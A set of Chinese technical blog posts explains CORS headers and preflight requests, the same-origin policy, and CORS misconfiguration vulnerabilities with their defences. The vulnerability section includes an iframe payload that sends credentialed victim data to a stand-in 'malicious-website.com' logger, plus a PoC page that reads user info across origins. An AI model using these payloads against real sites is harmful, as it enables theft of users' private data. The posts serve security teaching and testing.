-
2021-09-13 09:47:28
文章目录
简介
什么是跨域资源共享呢? 我们知道一个域是由scheme、domain和port三部分来组成的,这三个部分可以唯一标记一个域,或者一个服务器请求的地址。跨域资源共享的意思就是服务器允许其他的域来访问它自己域的资源。
CORS是一个基于HTTP-header检测的机制,本文将会详细对其进行说明。
CORS举例
为了安全起见,一般一个域发起的请求只能获取该域自己的资源,因为域资源内部的互相调用被认为是安全的。
但是随着现代浏览器技术和ajax技术的发展,渐渐的出现了从javascript中去请求其他域资源的需求,我们把这样的需求叫做跨域请求。
比如说客户端从域http://www.flydean.com向域http://www.abc.com/data.json请求数据。
那么客户端是怎么知道服务器是否支持CORS的呢?
这里会使用到一个叫做preflight的请求,这个请求只是向服务器确认是否支持要访问资源的跨域请求,当客户端得到响应之后,才会真正的去请求服务器中的跨域资源。
虽然是客户端去设置HTTP请求的header来进行CORS请求,但是服务端也需要进行一些设置来保证能够响应客户端的请求。所以本文同时适合前端开发者和后端开发者。
CORS protocol
没错,任意一种请求要想标准化,那么必须制定标准的协议,CORS也一样,CORS protocol主要定义了HTTP中的请求头和响应头。我们分别来详细了解。
HTTP request headers
首先是HTTP的请求头。请求头是客户端请求资源时所带的数据。CORS请求头主要包含三部分。
第一部分是Origin,表示发起跨域资源请求的request或者preflight request源:
Origin: <origin>
Origin只包含server name信息,并不包含任何PATH信息。
注意,Origin的值可能为null
第二部分是Access-Control-Request-Method,这是一个preflight request,告诉服务器下一次真正会使用的HTTP资源请求方法:
Access-Control-Request-Method: <method>
第三部分是Access-Control-Request-Headers,同样也是一个preflight request,告诉服务器下一次真正使用的HTTP请求中要带的header数据。header中的数据是和server端的Access-Control-Allow-Headers相对应的。
Access-Control-Request-Headers: <field-name>[, <field-name>]*
HTTP response headers
有了客户端的请求,还需要服务器端的响应,我们看下服务器端都需要设置那些HTTP header数据。
- Access-Control-Allow-Origin
Access-Control-Allow-Origin表示服务器允许的CORS的域,可以指定特定的域,也可以使用*表示接收所有的域。
Access-Control-Allow-Origin: <origin> | *
要注意的是,如果请求带有认证信息,则不能使用*。
我们看一个例子:
Access-Control-Allow-Origin: http://www.flydean.com Vary: Origin
上面例子表示服务器允许接收来自http://www.flydean.com的请求,这里指定了具体的某一个域,而不是使用*。因为服务器端可以设置一个允许的域列表,所以这里返回的只是其中的一个域地址,所以还需要在下面加上一个Vary:Origin头信息,表示Access-Control-Allow-Origin会随客户端请求头中的Origin信息自动发送变化。
- Access-Control-Expose-Headers
Access-Control-Expose-Headers表示服务器端允许客户端或者CORS资源的同时能够访问到的header信息。其格式如下:
Access-Control-Expose-Headers: <header-name>[, <header-name>]*
例如:
Access-Control-Expose-Headers: Custom-Header1, Custom-Header2
上面的例子将向客户端暴露Custom-Header1, Custom-Header2两个header,客户端可以获取到这两个header的值。
- Access-Control-Max-Age
Access-Control-Max-Age表示preflight request的请求结果将会被缓存多久,其格式如下:
Access-Control-Max-Age: <delta-seconds>
delta-seconds是以秒为单位。
- Access-Control-Allow-Credentials
这个字段用来表示服务器端是否接受客户端带有credentials字段的请求。如果用在preflight请求中,则表示后续的真实请求是否支持credentials,其格式如下:
Access-Control-Allow-Credentials: true
- Access-Control-Allow-Methods
这个字段表示访问资源允许的方法,主要用在preflight request中。其格式如下:
Access-Control-Allow-Methods: <method>[, <method>]*
- Access-Control-Allow-Headers
用在preflight request中,表示真正能够被用来做请求的header字段,其格式如下:
Access-Control-Allow-Headers: <header-name>[, <header-name>]*
有了CORS协议的基本概念之后,我们就可以开始使用CORS来构建跨域资源访问了。
基本CORS
先来看一个最基本的CORS请求,比如现在我们的网站是http://www.flydean.com,在该网站中的某个页面中,我们希望获取到https://google.com/data/dataA,那么我们可以编写的JS代码如下:
const xhr = new XMLHttpRequest(); const url = 'https://google.com/data/dataA'; xhr.open('GET', url); xhr.onreadystatechange = someHandler; xhr.send();
该请求是一个最基本的CORS请求,我们看下客户端发送的请求包含哪些数据:
GET /data/dataA HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive Origin: http://www.flydean.com
这个请求跟CORS有关的就是Origin,表示请求的源域是http://www.flydean.com。
可能的返回结果如下:
HTTP/1.1 200 OK Date: Mon, 01 May 2021 00:23:53 GMT Server: Apache/2 Access-Control-Allow-Origin: * Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: application/xml […Data…]
上面的返回结果要注意的是Access-Control-Allow-Origin: *,表示服务器允许所有的Origin请求。
Preflighted requests
上面的例子是一个最基本的请求,客户端直接向服务器端请求资源。接下来我们看一个Preflighted requests的例子,Preflighted requests的请求分两部分,第一部分是请求判断,第二部分才是真正的请求。
注意,GET请求是不会发送preflighted的。
什么时候会发送Preflighted requests呢?
当客户端发送OPTIONS方法给服务器的时候,为了安全起见,因为服务器并不一定能够接受这些OPTIONS的方法,所以客户端需要首先发送一个
preflighted requests,等待服务器响应,等服务器确认之后,再发送真实的请求。我们举一个例子。const xhr = new XMLHttpRequest(); xhr.open('POST', 'https://google.com/data/dataA');flydean xhr.setRequestHeader('cust-head', 'www.flydean.com'); xhr.setRequestHeader('Content-Type', 'application/xml'); xhr.onreadystatechange = handler; xhr.send('<site>www.flydean.com</site>');
上例中,我们向服务器端发送了一个POST请求,在这个请求中我们添加了一个自定义的header:cust-head。因为这个header并不是HTTP1.1中标准的header,所以需要发送一个Preflighted requests先。
OPTIONS /data/dataA HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive Origin: http://www.flydean.com Access-Control-Request-Method: POST Access-Control-Request-Headers: cust-head, Content-Type
请求中添加了Access-Control-Request-Method和Access-Control-Request-Headers这两个多出来的字段。
得到的服务器响应如下:
HTTP/1.1 204 No Content Date: Mon, 01 May 2021 01:15:39 GMT Server: Apache/2 Access-Control-Allow-Origin: http://www.flydean.com Access-Control-Allow-Methods: POST, GET, OPTIONS Access-Control-Allow-Headers: cust-head, Content-Type Access-Control-Max-Age: 86400 Vary: Accept-Encoding, Origin Keep-Alive: timeout=2, max=100 Connection: Keep-Alive
响应中返回了Access-Control-Allow-Origin,Access-Control-Allow-Methods和Access-Control-Allow-Headers。
当客户端收到服务器的响应之后,发现配后续的请求,就可以继续发送真实的请求了:
POST /data/dataA HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive cust-head: www.flydean.com Content-Type: text/xml; charset=UTF-8 Referer: http://www.flydean.com/index.html Content-Length: 55 Origin: http://www.flydean.com Pragma: no-cache Cache-Control: no-cache <site>www.flydean.com</site>
在真实的请求中,我们不需要再发送Access-Control-Request*头标记了,只需要发送真实的请求数据即可。
最后,我们得到server端的响应:
HTTP/1.1 200 OK Date: Mon, 01 May 2021 01:15:40 GMT Server: Apache/2 Access-Control-Allow-Origin: http://www.flydean.com Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 235 Keep-Alive: timeout=2, max=99 Connection: Keep-Alive Content-Type: text/plain [Some data]
带认证的请求
有时候,我们需要访问的资源需要带认证信息,这些认证信息是通过HTTP cookies来进行传输的,但是对于浏览器来说,默认情况下是不会进行认证的。要想进行认证,必须设置特定的标记:
const invocation = new XMLHttpRequest(); const url = 'https://google.com/data/dataA'; function corscall() { if (invocation) { invocation.open('GET', url, true); invocation.withCredentials = true; invocation.onreadystatechange = handler; invocation.send(); } }
上面的例子中,我们设置了withCredentials flag,表示这是一个带认证的请求。
其对应的请求如下:
GET data/dataA HTTP/1.1 Host: google.com User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:71.0) Gecko/20100101 Firefox/71.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-us,en;q=0.5 Accept-Encoding: gzip,deflate Connection: keep-alive Referer: http://www.flydean.com/index.html Origin: http://www.flydean.com Cookie: name=flydean
请求中我们带上了Cookie,服务器对应的响应如下:
HTTP/1.1 200 OK Date: Mon, 01 May 2021 01:34:52 GMT Server: Apache/2 Access-Control-Allow-Origin: http://www.flydean.com Access-Control-Allow-Credentials: true Cache-Control: no-cache Pragma: no-cache Set-Cookie: name=flydean; expires=Wed, 31-May-2021 01:34:53 GMT Vary: Accept-Encoding, Origin Content-Encoding: gzip Content-Length: 106 Keep-Alive: timeout=2, max=100 Connection: Keep-Alive Content-Type: text/plain [text/plain payload]
服务器返回了Access-Control-Allow-Credentials: true,表示服务器接收credentials认证,并且返回了Set-Cookie选项对客户端的cookie进行更新。
要注意的是如果服务器支持credentials,那么返回的Access-Control-Allow-Origin,Access-Control-Allow-Headers和Access-Control-Allow-Methods的值都不能是*。
总结
本文简单介绍了HTTP协议中的CORS协议,要注意的是CORS实际上是HTTP请求头和响应头之间的交互。
本文已收录于 http://www.flydean.com/cors/
最通俗的解读,最深刻的干货,最简洁的教程,众多你不知道的小技巧等你来发现!
欢迎关注我的公众号:「程序那些事」,懂技术,更懂你!
更多相关内容 -
漫谈同源策略(SOP)和跨域资源共享(CORS)
2022-04-22 15:57:50另外一般静态资源通常不受同源策略的限制,比如png/jpg/css/js等 跨域资源共享(CORS) 在某些情况下同源策略太严格了,给拥有多个子域的大型网站带来问题。如果非同源,共有三种行为受到限制 Cookie、LocalStorage ...前言提要:
面试的时候被问到了是否了解同源策略,并没有了解过 (虽然朋友洋写了文章,但是我当时也没有仔细琢磨)。所以有了这篇文…
据说了解同源策略是十分有必要的,要深入了解XSS/CSRF等web安全漏洞,不了解同源策略如同盲人摸象一般,无法说出全貌,更无法应用其进行打击。所以我之前一直在盲人摸象…
一、同源策略(SOP)
什么是源?
答:源就是主机、协议、端口名的一个三元组;同源策略就是同协议、同端口和同主机的一个三同元组
例如:基础知识(HTTP的默认开放端口为80、HTTPS的默认开放端口443)
源的继承
在页面中通过
about:blank
或javascript:
这样的伪URL 执行的脚本会继承打开该 URL 的文档的源,因为这些类型的 URL没有包含源服务器的相关信息,数据完全来自客户端。例如:
about:blank
通常作为父脚本写入内容的新的空白弹出窗口的 URL(例如,通过 Window.open() )。由完全不同的网站创建的所有about:blank文档就都属于同源页面,如果环境适宜,就可以相互通信而完全不受限制了。IE中的特例
Internet Explorer 的同源策略有两个主要的差异点:
- 授信范围(Trust Zones):两个相互之间高度互信的域名,如公司域名(corporate domains),则不受同源策略限制。
- 端口:IE 未将端口号纳入到同源策略的检查中,因此
https://company.com:81/index.html
和https://company.com/index.html
属于同源并且不受任何限制。
这些差异点是不规范的,其它浏览器也未做出支持,但会助于开发基于window RT IE的应用程序。
什么是同源策略(详细)?
答:同源策略(Same Origin Policy, SOP)是Web应用程序的一种安全模型,它保证了不同源(Origin,包括域名,端口和协议类型)的 Web 应用之间不能互相干扰。
同源策略主要是限制了页面最后的那个脚本从另一个源加载资源时的行为,这对于防范恶意页面是一种很好的防御机制,如果恶意脚本请求了非同源的一个东西,那么这种行为就很可能因为同源策略的限制被浏览器拒绝,从而在某种程度上缓解了攻击。
在SOP 的限制下,客户端脚本可以通过资源引用或者跨域表单提交向第三方服务器发送GET请求和POST请求,但是却不能读取响应内容。例如,在图1中,a.com网站脚本可以向 b.com 服务器发送 GET 请求,但是浏览器SOP会阻止其读取响应内容。
为什么要有同源策略?
答:同源策略是一个重要的安全基石,它的目的是为了保证用户信息的安全,防止恶意网址窃取数据。
设想一下如果没有同源策略将导致的安全风险:
假设用户在访问银行网站,并且没有登出。然后他又去了任意的其他网站,刚好这个网站有恶意的js代码,在后台请求银行网站的信息。因为用户目前仍然是银行站点的登陆状态,那么恶意代码就可以在银行站点做任意事情。例如,获取你的最近交易记录,创建一个新的交易等等。因为浏览器可以发送接收银行站点的session cookies,在银行站点域里。访问恶意站点的用户希望他访问的站点没有权限访问银行站点的cookie。当然确实是这样的,js不能直接获取银行站点的session cookie,但是他仍然可以向银行站点发送接收附带银行站点session cookie的请求,本质上就像一个正常用户访问银行站点一样。关于发送的新交易,甚至银行站点的CSRF(跨站请求伪造)防护都无能无力,因为脚本可以轻易的实现正常用户一样的行为。所以如果你需要session或者需要登陆时,所有网站都面临这个问题。
同源策略到底限制了什么?
答:同源策略只作用于实现了同源策略的WEB客户端上,它限制了一个源上的脚本访问来自另一个源的数据。
我们会发现SOP其实在防止CSRF上的作用非常有限,CSRF的请求往往在发送出去的一瞬间就达到了攻击的目的比如发送了一段敏感数据或者请求了一个具体的功能,是否能读取回复其实并不是那么重要(唯一的作用是可以防止CSRF请求读取异常源的授权Token),另外一般静态资源通常不受同源策略的限制,比如png/jpg/css/js等
跨域资源共享(CORS)
在某些情况下同源策略太严格了,给拥有多个子域的大型网站带来问题。如果非同源,共有三种行为受到限制
-
Cookie、LocalStorage 和 IndexDB 无法读取。
-
DOM 无法获得。
-
AJAX 请求不能发送。
虽然这些限制是必要的,但是有时很不方便,合理的用途也受到影响。下面,我将详细介绍,如何规避上面三种限制的技术方法:跨域资源共享(CSRS)
CORS是什么?
答:跨来源资源共享(Cross-Origin Resource Sharing(CORS))是使用额外HTTP标头来让目前浏览网站的user agent能获得访问不同来源(网域)服务器特定资源之权限的一种浏览器机制。
CORS需要浏览器和服务器同时支持。目前,所有浏览器都支持该功能,IE浏览器不能低于IE10。
整个CORS通信过程,都是浏览器自动完成,不需要用户参与。对于开发者来说,CORS通信与同源的AJAX通信没有差别,代码完全一样。浏览器一旦发现AJAX请求跨源,就会自动添加一些附加的头信息,有时还会多出一次附加的请求,但用户不会有感觉。
因此,实现CORS通信的关键是服务器。只要服务器实现了CORS接口,就可以跨源通信。
CORS的工作原理?
答:CORS 的基本原理是,第三方网站服务器生成访问控制策略,指导用户浏览器放宽 SOP 的限制,实现与指定的目标网站共享数据。具体工作流程可分为三步,如图2所示:
- 请求方脚本从用户浏览器发送跨域请求。浏览器会自动在每个跨域请求中添加Origin头,用于声明请求方的源。
- 资源服务器根据请求中Origin头返回访问控制策略(Access-Control-Allow-Origin响应头),并在其中声明允许读取响应内容的源。
- 浏览器检查资源服务器在Access-Control-Allow-Origin头中声明的源,是否与请求方的源相符,如果相符合,则允许请求方脚本读取响应内容,否则不允许。
简单请求基本流程
浏览器将CORS的请求分成俩类:简单请求和非简单请求
对于简单请求,浏览器直接发出CORS请求。具体来说就是在头信息之中,增加一个Origin字段
例如:
GET /cors HTTP/1.1 Origin: http://api.bob.com Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...
上面的头信息中,
Origin
字段用来说明,本次请求来自哪个源(协议 + 域名 + 端口)。服务器根据这个值,决定是否同意这次请求。如果
Origin
指定的源,不在许可范围内,服务器会返回一个正常的HTTP回应。浏览器发现,这个回应的头信息没有包含Access-Control-Allow-Origin
字段(详见下文),就知道出错了,从而抛出一个错误,被XMLHttpRequest
的onerror
回调函数捕获。注意,这种错误无法通过状态码识别,因为HTTP回应的状态码有可能是200。如果
Origin
指定的域名在许可范围内,服务器返回的响应,会多出几个头信息字段。Access-Control-Allow-Origin: http://api.bob.com Access-Control-Allow-Credentials: true Access-Control-Expose-Headers: FooBar Content-Type: text/html; charset=utf-8
上面的头信息之中,有三个与CORS请求相关的字段,都以
Access-Control-
开头。(1)Access-Control-Allow-Origin
该字段是必须的。它的值要么是请求时
Origin
字段的值,要么是一个*
,表示接受任意域名的请求。(2)Access-Control-Allow-Credentials
该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。默认情况下,Cookie不包括在CORS请求之中。设为
true
,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。这个值也只能设为true
,如果服务器不要浏览器发送Cookie,删除该字段即可。(3)Access-Control-Expose-Headers
该字段可选。CORS请求时,
XMLHttpRequest
对象的getResponseHeader()
方法只能拿到6个基本字段:Cache-Control
、Content-Language
、Content-Type
、Expires
、Last-Modified
、Pragma
。如果想拿到其他字段,就必须在Access-Control-Expose-Headers
里面指定。上面的例子指定,getResponseHeader('FooBar')
可以返回FooBar
字段的值。withcredentals属性
CORS请求默认不发送Cookie和HTTP认证信息。如果要把Cookie发到服务器,一方面要服务器同意,指定
Access-Control-Allow-Credentials
字段。Access-Control-Allow-Credentials: true
另一方面,开发者必须在AJAX请求中打开
withCredentials
属性。var xhr = new XMLHttpRequest(); xhr.withCredentials = true;
否则,即使服务器同意发送Cookie,浏览器也不会发送。或者,服务器要求设置Cookie,浏览器也不会处理。
但是,如果省略
withCredentials
设置,有的浏览器还是会一起发送Cookie。这时,可以显式关闭withCredentials
。xhr.withCredentials = false;
需要注意的是,如果要发送Cookie,
Access-Control-Allow-Origin
就不能设为星号,必须指定明确的、与请求网页一致的域名。同时,Cookie依然遵循同源政策,只有用服务器域名设置的Cookie才会上传,其他域名的Cookie并不会上传,且(跨源)原网页代码中的document.cookie
也无法读取服务器域名下的Cookie。非简单请求
非简单请求是那种对服务器有特殊要求的请求,比如请求方法是
PUT
或DELETE
,或者Content-Type
字段的类型是application/json
。非简单请求的CORS请求,会在正式通信之前,增加一次HTTP查询请求,称为"预检"请求(preflight)。
浏览器先询问服务器,当前网页所在的域名是否在服务器的许可名单之中,以及可以使用哪些HTTP动词和头信息字段。只有得到肯定答复,浏览器才会发出正式的
XMLHttpRequest
请求,否则就报错。var url = 'http://api.alice.com/cors'; var xhr = new XMLHttpRequest(); xhr.open('PUT', url, true); xhr.setRequestHeader('X-Custom-Header', 'value'); xhr.send();
上面代码中,HTTP请求的方法是
PUT
,并且发送一个自定义头信息X-Custom-Header
。浏览器发现,这是一个非简单请求,就自动发出一个"预检"请求,要求服务器确认可以这样请求。下面是这个"预检"请求的HTTP头信息。
OPTIONS /cors HTTP/1.1 Origin: http://api.bob.com Access-Control-Request-Method: PUT Access-Control-Request-Headers: X-Custom-Header Host: api.alice.com Accept-Language: en-US Connection: keep-alive User-Agent: Mozilla/5.0...
除了
Origin
字段,"预检"请求的头信息包括两个特殊字段。(1)Access-Control-Request-Method
该字段是必须的,用来列出浏览器的CORS请求会用到哪些HTTP方法,上例是
PUT
。(2)Access-Control-Request-Headers
该字段是一个逗号分隔的字符串,指定浏览器CORS请求会额外发送的头信息字段,上例是
X-Custom-Header
。CORS漏洞
CORS的漏洞主要看当我们发起的请求中带有Origin头部字段时,服务器的返回包带有CORS的相关字段并且允许Origin的域访问。
一般测试WEB漏洞都会用上BurpSuite,而BurpSuite可以实现帮助我们检测这个漏洞。
首先是自动在HTTP请求包中加上Origin的头部字段,打开BurpSuite,选择Proxy模块中的Options选项,找到Match and Replace这一栏,勾选Request header 将空替换为Origin:example.com的Enable框。CORS漏洞测试
当我们进行测试时,看服务器响应头字段里可以关注这几个点:
最好利用的配置:Access-Control-Allow-Origin: https://test.com Access-Control-Allow-Credentials: true
可能存在可利用的配置:
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
很好的条件但无法利用:
下面这组配置组合虽然看起来很完美但是CORS机制已经默认自动禁止了这种组合,算是CORS的最后一道防线 Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: true
单一的情况:
Access-Control-Allow-Origin:*
漏洞产生原因
其他可能利用漏洞的地方
解析Origin头时出错
一些支持从多个来源进行访问的应用程序通过使用允许的来源白名单来实现。收到CORS请求后,会将提供的来源与白名单进行比较。如果来源出现在白名单中,那么它会反映在Access-Control-Allow-Origin标题中,以便授予访问权限。例如,web应用收到一个正常的请求:
GET /data HTTP/1.1 Host: bar.com ... Origin: https://example.com
web应用根据其允许的来源列表检查当前请求资源的来源,如果在列表中,则按以下方式反映该来源:
HTTP/1.1 200 OK ... Access-Control-Allow-Origin: https://example.com
但在检测来源是否存在于白名单时经常可能出现问题,一些网站可能会允许其所有的子域(包括尚未存在未来可能存在的子域)来进行访问,或者允许其他网站的域以及其子域来访问请求。这些请求一般都通过通配符或者正则表达式来完成,但是如果这其中出现错误可能就会导致给予其他未被授权的域访问权限。例如:
例如,假设一个应用程序授予对以下列结尾的所有域的访问权限:examplecom
攻击者可能可以通过注册域来获得访问权限:
exeexample.com
或者,假设应用程序授予对所有以example.com开头的域访问权限,攻击者就可以使用该域获得访问权限:
example.com.evil-user.net
利用相互受CORS信任的域来进行XSS
假如两个互相受信任的源,如果其中一个网站存在XSS,攻击者就可以利用XSS注入一些JavaScript代码,利用这些代码对信任其源的另一个网站进行敏感信息的获取。
如果进行CORS请求时网站响应:HTTP/1.1 200 OK Access-Control-Allow-Origin: https://vulnerable.com Access-Control-Allow-Credentials: true
就可以利用XSS漏洞在vulnerable.com网站上使用下面的URL来通过检索API密钥:
https://vulnerable.com/?xss=<script>cors-stuff-here</script>
白名单中的null值
CORS协议的一个重要安全前提是跨域请求中的Origin头不能被伪造,这个前提并不是总是成立。Origin头最早被提出用于防御CSRF攻击,它的语法格式在RFC 6564中被定义。RFC 6564规定,如果请求来自隐私敏感上下文时,Origin头的值应该为null,但是它却没有明确界定什么是隐私敏感上下文。
CORS协议复用了Origin头,但在CORS标准中同样缺乏对跨域请求Origin中null明确的定义和限制。有些开发者在网站上配置信任 null,用于与本地file页面共享数据,如下所示:
Access-Control-Allow-Origin: null Access-Control-Allow-Credentials: true
在这种情况下,攻击者可以使用各种技巧来生成跨域请求,该请求构造的Origin为null值。这将满足白名单的要求,从而导致跨域访问。例如,可以使用iframe以下格式的沙盒跨域请求来完成:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script> var req = new XMLHttpRequest(); req.onload = reqListener; req.open('get','vulnerable-website.com/sensitive-victim-data',true); req.withCredentials = true; req.send(); function reqListener() { location='malicious-website.com/log?key='+this.responseText; }; </script>"></iframe>
这就意味着任何配置有
Access-Control-Allow-Origin: null
和Access-Control-Allow-Credentials:true
的网站等同于没有浏览器SOP的保护,都可以被其他任意域以这种方式读取内容。CORS漏洞示例
使用DoraBox进行测试
使用CORS跨域资源读取,如图所示会读取到user的信息
使用burpsuite抓取数据包如下图所示,可以看到CORS跨域请求返回的字段
检测的话,只需要在HTTP请求数据包中添加一个字段:Origin: https://test.com(其中https://test.com可以随意设置),只要返回的数据包内容是:Access-Control-Allow-Origin: https://test.com,就说明存在CORS漏洞
利用的话,可以使用CORS的POC,点击Exploit,就会窃取用户的个人信息
POC内容如下,只需要把URL换成存在漏洞的URL即可
<!DOCTYPE html> <html> <body> <center> <h2>CORS POC Exploit</h2> <h3>Extract SID</h3> <div id="demo"> <button type="button" onclick="cors()">Exploit</button> </div> <script> function cors() { var xhttp = new XMLHttpRequest(); xhttp.onreadystatechange = function() { if (this.readyState == 4 && this.status == 200) { document.getElementById("demo").innerHTML = alert(this.responseText); } }; xhttp.open("GET", "http://xxx.xxx.xxx.xxx/DoraBox/csrf/userinfo.php", true); xhttp.withCredentials = true; xhttp.send(); } </script> </body> </html>
CORS漏洞的自动化扫描
CORScanner 是一个 python 工具,旨在发现网站的 CORS 错误配置漏洞。 它可以帮助网站管理员和渗透测试人员检查他们所针对的域/url 是否具有不安全的 CORS 策略。
项目地址:https://github.com/chenjj/CORScanner
下载这个工具 git clone https://github.com/chenjj/CORScanner.git 安装依赖项: sudo pip install -r requirements.txt
预防CORS漏洞
CORS漏洞主要是由于配置错误而引起的。所以,预防漏洞变成了一个配置问题。下面介绍了一些针对CORS攻击的有效防御措施。
- 正确配置跨域请求
如果Web资源包含敏感信息,则应在Access-Control-Allow-Origin标头中正确指定来源。 - 只允许信任的网站
看起来似乎很明显,但是Access-Control-Allow-Origin中指定的来源只能是受信任的站点。特别是,使用通配符来表示允许的跨域请求的来源而不进行验证很容易被利用,应该避免。 - 避免将null列入白名单
避免使用标题Access-Control-Allow-Origin: null。来自内部文档和沙盒请求的跨域资源调用可以指定null来源。应针对私有和公共服务器的可信来源正确定义CORS头。 - 避免在内部网络中使用通配符
避免在内部网络中使用通配符。当内部浏览器可以访问不受信任的外部域时,仅靠信任网络配置来保护内部资源是不够的。 - CORS不能替代服务器端安全策略
CORS定义了浏览器的行为,绝不能替代服务器端对敏感数据的保护-攻击者可以直接从任何可信来源伪造请求。因此,除了正确配置的CORS之外,Web服务器还应继续对敏感数据应用保护,例如身份验证和会话管理。
-
跨域资源共享漏洞分析总结(含实战)
2020-04-29 14:15:19文章目录跨源资源共享(CORS)浏览器的同源策略概念特点主要功能跨域主要跨域请求方法JSONP跨域CORS跨域CORS的安全问题三种不安全的配置引起的安全问题通过CORS信任关系 利用XSS使用错误的CORS破坏TLS防御CORS如何预防...文章目录
跨源资源共享(CORS)
浏览器的同源策略
概念
根据字面意思就可以理解,同源策略是浏览器实施的一种关键机制,主要防止不同来源的干扰。所谓同源是指域名,协议,端口相同。
与其说同源策略的作用,不如说如果没有同源策略会产生什么后果,比如当你浏览网站A的同时也浏览了网站B,在该网站上运行的脚本代码将能访问你同时访问的网站B的数据和功能,此时如果网站A是恶意网站,如果网站B是网上银行,那么此时恶意站点就可以以你的名义进行转账。
特点
- 位于一个域的页面可以向另一个域提出请求
- 位于一个域的页面可以加载来自其他域的脚本并在自己的域中执行这个脚本(在授权的情况下)
- 位于一个域的页面无法读取或修改属于另一个域的cookie 或者其他DOM数据
主要功能
同源策略可以防止在一个域中运行的代码访问由其他域提供的内容
ps:但是很多功能是不受同源策略限制的:超链接、重定向、提交表单、嵌入到页面的图片等
跨域
主要跨域请求方法
- JSONP
- CORS
JSONP跨域
加载远程js,可以把远程js中数据带进来,一笔带过,这里并不是主要学习这个的。
CORS跨域
为了实现某些功能,允许浏览器向跨域服务器发出xmlhttprequest请求,克服SOP的限制实现跨域获取数据。
说明
最初XMLHttpRequest仅允许向与调用页面的来源相同的来源提出请求。随着HTML5的出现,这一技术得以修改,从而可以与其他域进行交互。
举例说明
首先看个实例说明一下,刚好我在逛b站,就随手抓了一个包----如图
- 请求头中的Origin字段
其中红色框框的origin字段表明该请求来源于https://message.bilibili.com
需要跨域请求时,浏览器会添加origin消息头,用于指示尝试提出跨域请求的域,对服务端来说,这个字段即是跨域标志。
当浏览器收到请求并收到这个字段,首先就会判断这个源是否在允许范围之内,如果是,也就出现了下面介绍的这些字段。
- 响应包中的4个响应字段
-
Access-Control-Allow-Origin
字段在这里表示接受该域名的请求,有些情况会是 * 此时也就存在了安全风险。 -
Access-Control-Allow-Credentials
:该字段可选。它的值是一个布尔值,表示是否允许发送Cookie。当设置为true时,即表示服务器明确许可,Cookie可以包含在请求中,一起发给服务器。默认是false。 -
Access-Control-Expose-Headers
:该字段可选。CORS请求时,XMLHttpRequest对象的getResponseHeader()方法只能拿到6个基本字段:Cache-Control、Content-Language、Content-Type、Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在Access-Control-Expose-Headers里面指定。 -
Access-Control-Allow-Methods
: 允许使用的请求方法
CORS的安全问题
造成安全原因同样也是不安去的配置导致的,唉,不安全的配置会导致各种各样的漏洞,这也是这种缺陷一直位于owaspTop10的原因。
简单易懂的举个例子就是foo.com向bar.com发出请求时,如果响应头中包含了foo.com的CORS头,这样foo.com就可以携带cookie去调用bar.com了。
三种不安全的配置引起的安全问题
- CORS服务端的 Access-Control-Allow-Origin 设置为了 * ,也就是说允许任何网站访问本服务器的资源。毫无疑问这是存在安全风险的
这里做一个实验,是一个在线实验室,就是针对这一类漏洞,如图
出现一个登入界面,使用提供给你的用户密码登入进去,点击我的账户,会发现会提供给你一个api key,并且这个服务器对跨域请求进行了不安全的配置,也就是上文提到的,这里只需要在请求头中添加Origin字段–如图
响应消息头中当然是不合法的,这个实验室同时也提供了可以利用的服务器,通过这个服务器获得本服务器的API
进入可利用服务器,向受害者服务器提出跨域请求,如图
完成攻击后,查看访问日志发现已经完成攻击。
还有一种漏洞是由于白名单的空原始值,请求消息头为Origin: null,某些应用程序可能会将null来源列入白名单,以支持应用程序的本地开发,这个实验内容和本实验类似。
-
返回报文头部Access-Control-Allow-Origin由请求报文Origin生成的(客户端可控数据),并且返回报文Access-Control-Allow-Credentials=true时,表明cookie可以包含在请求头中,一起发给服务器
-
配置了不严谨的正则表达式规则,也就是说对origin校验功能不完善,比如一种情况是只检查以a.com结尾的网站域名
origin:http://a.com
Access-Control-Allow-Origin:http://a.com可以构造一个类似http://b.a.com 就能绕过其验证机制导致信息泄露,有些情况也会导致HTTP拆分注入攻击。
通过CORS信任关系 利用XSS
甚至“正确”配置的CORS也会在两个来源之间建立信任关系。如果网站信任易受跨站点脚本(XSS)攻击的来源,则攻击者可能利用XSS注入一些JavaScript,这些JavaScript使用CORS从信任易受攻击的应用程序的站点检索敏感信息。
- 开发人员用于对抗CORS利用的一种防御机制,是将频繁请求访问信息的域列入白名单。但这并不完全安全,因为只要白名单域中的一个子域易受到其他攻击(如XSS),那么也可以进行CORS利用。
https://www.cnblogs.com/linuxsec/articles/10584677.html
这篇文章有几个实例和漏洞分析可以看看。
使用错误的CORS破坏TLS
假设严格使用HTTPS的应用程序还将使用纯HTTP的受信任子域列入白名单。例如,当应用程序收到以下请求时:
GET /api/requestApiKey HTTP/1.1 Host: vulnerable-website.com Origin: http://trusted-subdomain.vulnerable-website.com Cookie: sessionid=...
该应用程序响应:
HTTP/1.1 200 OK Access-Control-Allow-Origin: http://trusted-subdomain.vulnerable-website.com Access-Control-Allow-Credentials: true
